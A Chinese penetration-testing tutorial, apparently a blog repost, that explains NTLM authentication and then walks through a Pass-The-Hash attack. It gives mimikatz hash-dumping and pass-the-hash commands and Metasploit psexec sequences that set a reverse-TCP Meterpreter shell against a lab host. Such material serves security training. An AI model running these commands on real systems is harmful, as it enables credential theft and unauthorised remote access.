搜索

前言

在进行内网渗透的过程中,会存在已经获取用户的NTLM 哈希值但是无法解开,获取不到密码的情况,这时就能够通过Pass-The-Hash来进行横向渗透。

Pass-The-Hash 原理

NTLM认证:

1. 用户输入user,pass,domain客户端会计算hash值保存至本地
2. 客户端将user明文发给DC
3. DC生成一个16Byte的随机数(challenge)发送给客户端
4. 客户端通过运算生成一个响应值respone=f(hash,challenge,other) (用hash加密challenge生成respone)other(时间戳等) respone(也可以说是加密后的challenge)
5. 客户端将respone发送给DC
6. DC通过同样的运算result=f(hashdc,challenge,other)(DC用本地的hashdc来加密challenge生成result)然后比较result和respone的值是否相等,相等则认证成功

通过wireshark抓包分析NTLM认证过程

negotiate_message: negotiate_message定义从客户端发送到服务器的NTLM协商消息,该消息允许客户端向服务器指定其支持的NTLM选项
challenge_message:从服务器发送到客户端的NTLM质询消息,服务器使用challege_message来挑战客户端以证明其身份,对于面向连接的请求,服务器生成的challenge_message响应客户端的negotiate_message
authenticate_message: authenticate_message定义在客户端处理challenge_message之后从客户端发送到服务器的NTLM身份验证消息

Type 1协商

这个过程是客户端向服务器发送type 1(协商)消息,它主要包含客户端支持和服务器请求的功能列表。

image-20210426123437602

Type 2质询

这个过程是服务器用type 2消息(质询)进行响应,这包含服务器支持和同意的功能列表,以及生成的challege

image-20210426123549307

Type 3 身份验证

这个过程客户端接收到challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challenge等信息发给服务器。

image-20210426123727471

从上面的认证过程可以看出,DC最终通过比较respone和result是否相等来判定认证是否成功,而我们通过mimikazt来获取到hash值,我们只要把获取到的hash值发给DC就可以通过认证。

Pass-The-Hash利用的几个前提条件

工作组环境下

Windows Vista之前的机器,可以使用本地管理员组内用户进行攻击
windows Vista之后的机器,只能是administrator用户才能进行攻击,其他用户会提示拒绝访问

域环境下

域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击

由于Pass-The-Hash在win7的工作组环境下只支持在administrator用户的情况下才能利用,而windows默认是关闭这个用户的,现在我们来开启它。

net user administrator /active:yes

首先利用mimikatz(mimikatz需要管理员权限)读取到用户密码的hash值

命令:sekurlsa::logonPasswords

LM: ccf9155e3e7db453aad3b435b51404ee

NTLM: 3dbde697d71690a769204beb12283678

image-20210426090624354

利用mimikatz进行pth攻击

sekurlsa::pth /user:administrator /domain:172.16.1.199 /ntlm:3dbde697d71690a769204beb12283678

image-20210426091926970

image-20210426093024954

利用msf进行pth攻击

exploit/windows/smb/psexec

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 172.16.1.199
set smbuser administrator
set smbpass ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
run

image-20210426093557686

expliot/windows/smb/psexec_pth

use exploit/windows/smb/psexec_pth
set payload windows/meterpreter/reverse_tcp
set rhosts 172.16.1.199
set smbuser administrator
set smbpass ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
run

image-20210426094201518

本文作者:mengmeng1 ୧(๑•̀⌄•́๑)૭ |转载于:FreeBuf.COM

内网渗透

版权属于:Miagz
作品采用:本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
2
查看目录

目录

来自 《Pass-The-Hash攻击(转载)》
评论

MiaGz

博主很懒,啥都没有